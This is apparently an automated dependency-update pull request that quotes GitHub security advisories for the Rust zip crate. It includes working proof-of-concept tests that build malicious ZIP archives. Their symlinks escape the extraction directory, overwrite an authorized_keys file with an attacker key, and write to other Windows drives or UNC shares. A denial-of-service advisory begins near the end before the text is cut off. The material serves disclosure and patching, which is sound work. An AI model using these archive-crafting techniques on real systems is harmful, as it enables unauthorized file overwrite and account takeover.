    // a/pwned.txt: File that escapes outside dest by traversing the intermediate b
    zip.start_file("a/pwned.txt", opt).unwrap();
    zip.write_all(b"escaped!").unwrap();
    let archive = zip.finish_into_readable().unwrap();

    ZipArchive::from(archive).extract(&dest).unwrap();

    // Verification: File has been written outside dest
    let escaped = outside.join("sub/pwned.txt");
    assert!(escaped.exists(), "escape failed");
    assert_eq!(fs::read_to_string(&escaped).unwrap(), "escaped!");
    println!("wrote outside dest: {}", escaped.display());
}

/// Verification of overwriting an existing file (~/.ssh/authorized_keys) outside the extraction destination

#[test]
fn overwrite_existing_ssh_authorized_keys() {
    let tmp = TempDir::new().unwrap();
    let dest = tmp.path().join("dest"); // Extraction destination

    // Reproduce victim's existing ~/.ssh/authorized_keys (containing a legitimate key)
    let home = tmp.path().join("home_victim");
    let ssh = home.join(".ssh");
    fs::create_dir_all(&ssh).unwrap();
    let authorized_keys = ssh.join("authorized_keys");
    fs::write(&authorized_keys, "ssh-ed25519 AAAA...LEGIT victim@host\n").unwrap();
    let original = fs::read_to_string(&authorized_keys).unwrap();

    fs::create_dir(&dest).unwrap();

    // Construct a malicious ZIP
    let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
    let opt = SimpleFileOptions::default();
    // b: Outward-pointing symlink to victim's HOME (target unverified)
    // Because it's placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation
    zip.add_symlink("b", home.to_str().unwrap(), opt).unwrap();
    // a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest)
    zip.add_symlink("a", dest.join("b/.ssh").to_str().unwrap(), opt).unwrap();
    // a/authorized_keys: File entry that reaches the actual authorized_keys
    zip.start_file("a/authorized_keys", opt).unwrap();
    zip.write_all(b"ssh-ed25519 AAAA...ATTACKER attacker@evil\n").unwrap();
    let archive = zip.finish_into_readable().unwrap();

    // extract() returns Ok(()) without an error (the caller cannot detect it)
    let res = ZipArchive::from(archive).extract(&dest);
    println!("extract() returned: {:?}", res);
    res.unwrap();

    // Verification: Existing file is overwritten with the attacker's content
    let after = fs::read_to_string(&authorized_keys).unwrap();
    println!("--- BEFORE ---\n{original}--- AFTER ---\n{after}");
    assert_ne!(after, original, "file was NOT overwritten");
    assert!(after.contains("ATTACKER"), "attacker content not present");
    println!("OVERWROTE existing file: {}", authorized_keys.display());
}
Windows PoC (tests/poc_win.rs)

This is a test that verifies escape to a different drive / UNC share via a single symlink, specific to Windows.
By setting the extraction destination to a temporary directory on C: and making the symlink target an absolute path on a different volume that shares the same tail as dest, it passes the lexical check in simplified_components (which discards the Prefix), and the drive/share substitution performed by outpath.push results in a write outside of dest.

  • escape_via_second_drive: writes to E:\<same tail as dest>\evil\pwned.txt on a separate drive (e.g. E:)
  • escape_via_unc_share: writes to \\localhost\poc\<same tail as dest>\evil\pwned.txt on a UNC share (e.g. \\localhost\poc\)
//! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv)
//!
//! - author: sl91994
//!
//! The crafted ZIP contains only 2 entries:
//!   1. `a`          : a symlink whose target = `<OTHER>\<same tail as dest>\evil` (absolute path)
//!   2. `a/pwned.txt`: a regular file
//! During extraction, resolving `a` causes outpath to be replaced with `<OTHER>\...\evil`,
//! and `File::create(<OTHER>\...\evil\pwned.txt)` writes outside of dest.
//!
//! # Prerequisites
//! - Windows 10 (build 14972+) through Windows 11
//! - Symlink creation privilege `SeCreateSymbolicLinkPrivilege` = Developer Mode enabled, or run as Administrator.
//! - One volume / share **separate from dest**.
//!   Supply the escape destination via environment variables:
//!     * `POC_OTHER_DRIVE`: root of a separate drive. Must end with `\`. e.g. `D:\`
//!     * `POC_UNC_SHARE`: root of a writable UNC share. Must end with `\`.
//!       e.g. `\\localhost\poc\`
//!       (`net share poc=C:\path\to\share /grant:%USERNAME%,FULL`)
//!
//! # Running
//!
//! ```powershell
//! $env:POC_OTHER_DRIVE = "D:\"
//! $env:POC_UNC_SHARE   = "\\localhost\poc\"
//! cargo test --test poc_win -- --nocapture
//! ```

#![cfg(windows)]

use std::ffi::OsString;
use std::fs;
use std::io::{Cursor, Write};
use std::path::{Component, Path, PathBuf};

use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

/// Whether we have the privilege needed to create symlinks
fn have_symlink_privilege() -> bool {
    let Ok(tmp) = TempDir::new() else {
        return false;
    };
    let target = tmp.path().join("privcheck_target");
    let link = tmp.path().join("privcheck_link");
    if fs::write(&target, b"x").is_err() {
        return false;
    }
    std::os::windows::fs::symlink_file(&target, &link).is_ok()
}

/// Extract only the Normal components of a path (the tail, with prefix / root dropped)
fn normal_tail(p: &Path) -> Vec<OsString> {
    p.components()
        .filter_map(|c| match c {
            Component::Normal(s) => Some(s.to_os_string()),
            _ => None,
        })
        .collect()
}

/// Returns the `Prefix` (volume identifier) at the head of the path
fn volume_prefix(p: &Path) -> Option<OsString> {
    match p.components().next() {
        Some(Component::Prefix(pre)) => Some(pre.as_os_str().to_os_string()),
        _ => None,
    }
}

/// Verifies the single-symlink escape using the escape destination root `other_root` (a separate volume / share)
fn run_escape(variant: &str, other_root: &str) {
    if !have_symlink_privilege() {
        eprintln!(
            "[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \
             enable Developer Mode or run as Administrator."
        );
        return;
    }

    // other_root must be an existing, writable root
    let other_root_path = PathBuf::from(other_root);
    if !fs::metadata(&other_root_path)
        .map(|m| m.is_dir())
        .unwrap_or(false)
    {
        eprintln!(
            "[SKIP] [{variant}] escape root {other_root:?} does not exist or is not a \
             directory; check the environment variable."
        );
        return;
    }

    // The extraction destination `dest` is a temp directory (usually on C:). Since the `base` used by
    // safe_prepare_path is the path after canonicalize, match the tail to that.
    let tmp = TempDir::new().unwrap();
    let dest = tmp.path().join("dest");
    fs::create_dir(&dest).unwrap();
    let canon_dest = fs::canonicalize(&dest).unwrap();
    let tail = normal_tail(&canon_dest);

    // Reproduce dest's tail on a separate volume as the escape destination, with evil/ underneath it.
    // Since simplified_components discards the prefix, the target's tail component sequence
    // prefix-matches the base's tail component sequence, passing the lexical check.
    let mut escape_dir = other_root_path.clone();
    for c in &tail {
        escape_dir.push(c);
    }
    escape_dir.push("evil");

    // Confirm it's actually a separate volume (if it's the same volume, it would land inside dest and not be an escape)
    let other_vol = fs::canonicalize(&other_root_path)
        .ok()
        .and_then(|p| volume_prefix(&p));
    let dest_vol = volume_prefix(&canon_dest);
    assert_ne!(
        other_vol, dest_vol,
        "[{variant}] escape root {other_root:?} is on the same volume as dest; \
         point it at a different drive/share (dest vol={dest_vol:?})."
    );

    // Assemble the crafted ZIP (entries: 1 symlink + 1 file)
    let target_str = escape_dir
        .to_str()
        .expect("escape path must be valid UTF-8")
        .to_string();
    println!("[{variant}] dest (canonical) = {}", canon_dest.display());
    println!("[{variant}] symlink target   = {target_str}");

    let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
    let opt = SimpleFileOptions::default();
    // a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail)
    zip.add_symlink("a", &target_str, opt).unwrap();
    // a/pwned.txt: resolving `a` substitutes the drive in outpath, causing the write to land outside dest
    zip.start_file("a/pwned.txt", opt).unwrap();
    zip.write_all(b"escaped-on-windows!").unwrap();
    let archive = zip.finish_into_readable().unwrap();

    let res = ZipArchive::from(archive).extract(&dest);
    println!("[{variant}] extract() returned: {res:?}");

    res.expect("extract() failed");

    let escaped = escape_dir.join("pwned.txt");
    assert!(
        escaped.exists(),
        "[{variant}] escape failed: {} was not created",
        escaped.display()
    );

    let content = fs::read_to_string(&escaped).unwrap();
    println!(
        "[{variant}] WROTE OUTSIDE DEST: {} = {content:?}",
        escaped.display()
    );

    let _ = fs::remove_file(&escaped);
    let _ = fs::remove_dir(&escape_dir);

    assert_eq!(
        content, "escaped-on-windows!",
        "[{variant}] written content mismatch",
    );
}

/// Single-symlink escape to a separate drive (`POC_OTHER_DRIVE`, e.g. `D:\`)

#[test]
fn escape_via_second_drive() {
    match std::env::var("POC_OTHER_DRIVE") {
        Ok(root) if !root.is_empty() => run_escape("drive", &root),
        _ => eprintln!(
            "[SKIP] escape_via_second_drive: POC_OTHER_DRIVE not set \
             (PowerShell: `$env:POC_OTHER_DRIVE=\"D:\\\"`)."
        ),
    }
}

/// Single-symlink escape to a UNC share (`POC_UNC_SHARE`, e.g. `\\localhost\poc\`)

#[test]
fn escape_via_unc_share() {
    match std::env::var("POC_UNC_SHARE") {
        Ok(root) if !root.is_empty() => run_escape("unc", &root),
        _ => eprintln!(
            "[SKIP] escape_via_unc_share: POC_UNC_SHARE not set \
             (PowerShell: `$env:POC_UNC_SHARE=\"\\\\localhost\\poc\\\"`)."
        ),
    }
}
Impact

With the privileges of the process that extracts an untrusted ZIP archive via ZipArchive::extract / ZipArchive::extract_unwrapped_root_dir, an attacker can write a file with arbitrary contents to an arbitrary path outside the extraction directory.

  • Because existing files can be overwritten, tampering with files such as ~/.ssh/authorized_keys, ~/.bashrc, .git/hooks/*, CI configuration, or a service's binaries and configuration files may lead to remote code execution or privilege escalation. Destroying critical files can also cause denial of service.
  • Extraction does not fail and returns Ok(()), so the caller has no straightforward way to detect the attack.
  • The documentation of extract() explicitly states that symbolic links are only created and followed if the target is within the destination directory, so downstream applications that rely on this as a sandbox boundary are directly affected.

Exploitation requires the absolute path of the destination to be known, but this is realistic in practice: CI workspaces, /opt/<app>, a fixed Downloads directory, and so on.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

CVE-2026-115907 / GHSA-9hj8-73fh-9963

More information

Details

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

`self.uncompressed_size

[!IMPORTANT]
✂ PR body was truncated to here.

@netlify

netlify Bot commented Oct 29, 2026 •

Copy link
Copy Markdown

✅ Deploy Preview for angry-raman-7c44f6 canceled.

Name Link
🔨 Latest commit 7b86c7a
🔍 Latest deploy log https://app.netlify.com/projects/angry-raman-7c44f6/deploys/6ae7b960b9510ed121286872

@renovate
renovate Bot force-pushed the renovate/crate-zip-vulnerability branch 13 times, most recently from 07573de to f50bd0d Compare November 1, 2026 14:02
@renovate
renovate Bot force-pushed the renovate/crate-zip-vulnerability branch 2 times, most recently from c4fe3c8 to a0399ae Compare November 1, 2026 15:08

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants